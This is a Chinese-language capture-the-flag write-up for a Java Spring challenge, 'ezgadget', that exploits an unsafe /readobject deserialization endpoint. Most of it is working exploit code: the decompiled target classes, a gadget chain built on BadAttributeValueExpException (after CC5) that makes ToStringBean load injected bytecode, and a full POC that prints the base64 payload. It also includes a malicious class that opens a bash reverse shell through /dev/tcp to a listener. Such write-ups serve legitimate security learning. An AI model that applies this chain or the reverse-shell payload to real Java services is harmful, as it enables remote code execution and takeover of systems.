前言
第一道JAVA题!
题目给了jar包。
题解
先用jdgui打开jar包,找到IndexController
@Controller
public class IndexController {
@ResponseBody
@RequestMapping({"/"})
public String index(HttpServletRequest request, HttpServletResponse response) {
return "index";
}
@ResponseBody
@RequestMapping({"/readobject"})
public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021)
objectInputStream.readObject();
return "welcome bro.";
}
}
显然,/readobject
路径,接收data
参数,然后进行base64解码。读取一个UTF和一个Int。如果满足name.equals("gadgets")
且year == 2021
就会触发反序列化。
Tools:定义了Base64的加解密以及序列化和反序列化
public class Tools {
public static byte[] base64Decode(String base64) {
Base64.Decoder decoder = Base64.getDecoder();
return decoder.decode(base64);
}
public static String base64Encode(byte[] bytes) {
Base64.Encoder encoder = Base64.getEncoder();
return encoder.encodeToString(bytes);
}
public static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object deserialize(byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
}
User:一个常见的JavaBean
public class User implements Serializable {
private String UserName;
private String PassWord;
public String getUserName() {
return this.UserName;
}
public void setUserName(String userName) {
this.UserName = userName;
}
public String getPassWord() {
return this.PassWord;
}
public void setPassWord(String passWord) {
this.PassWord = passWord;
}
public String toString() {
return "User{UserName='" + this.UserName + '\'' + ", PassWord='" + this.PassWord + '\'' + '}';
}
}
ToStringBean:继承了ClassLoader,还有defineClass()
。显然,可以反序列化加载恶意类!这里只要能调用toString
就能加载我们传入的恶意字节码,其中ClassByte
就是我们要传入的恶意字节码,由于是私有的,所以只能通过反射来进行赋值。
public class ToStringBean extends ClassLoader implements Serializable {
private byte[] ClassByte;
public String toString() {
com.ezgame.ctf.tools.ToStringBean toStringBean = new com.ezgame.ctf.tools.ToStringBean();
Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
Object Obj = null;
try {
Obj = clazz.newInstance();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
return "enjoy it.";
}
}
一搜toString,发现CC5里有类似调用!
使用的是BadAttributeValueExpException
,在其readObject()
方法中调用了toString()
,很符合这题。
按CC5中思路,反射修改val属性即可。
写个反弹shell的恶意类
public class payload {
static {
try {
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/127.0.0.1/6666 0>&1"});
} catch (IOException e) {
e.printStackTrace();
}
}
}
POC如下:
import com.ezgame.ctf.tools.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class POC {
public static void main(String[] args) throws Exception {
ToStringBean toStringBean = new ToStringBean();
Field fieldClassByte = toStringBean.getClass().getDeclaredField("ClassByte");
fieldClassByte.setAccessible(true);
//byte[] bytes = Files.readAllBytes(Paths.get("target/classes/payload.class"));
fieldClassByte.set(toStringBean, makeByteCode());
BadAttributeValueExpException badAttr = new BadAttributeValueExpException(null);
Class<?> cls = badAttr.getClass();
Field fieldVal = cls.getDeclaredField("val");
fieldVal.setAccessible(true);
fieldVal.set(badAttr, toStringBean);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//新建一个字节流
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);//把字节流转为对象流
objectOutputStream.writeUTF("gadgets");//往UTF中写入gadgets
objectOutputStream.writeInt(2021);//往Int中写入2021
objectOutputStream.writeObject(badAttr);//调用badAttributeValueExpException.writeObject序列化
byte[] bytes1 = byteArrayOutputStream.toByteArray();//把字节流导出为字节数组
String s = Tools.base64Encode(bytes1);//base64编码
System.out.println(s);
}
public static byte[] makeByteCode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get(payload.class.getName());
ctClass.setName("NormalClass");
return ctClass.toBytecode();
}
}
此处可以build后读取class文件,也可以用javassist来读。
注意,尽量package保持一直,否则打进去后会找不到ToStringBean类导致白页。
虚拟机运行一下环境,POST打入,结束。
java -jar ezgadget.jar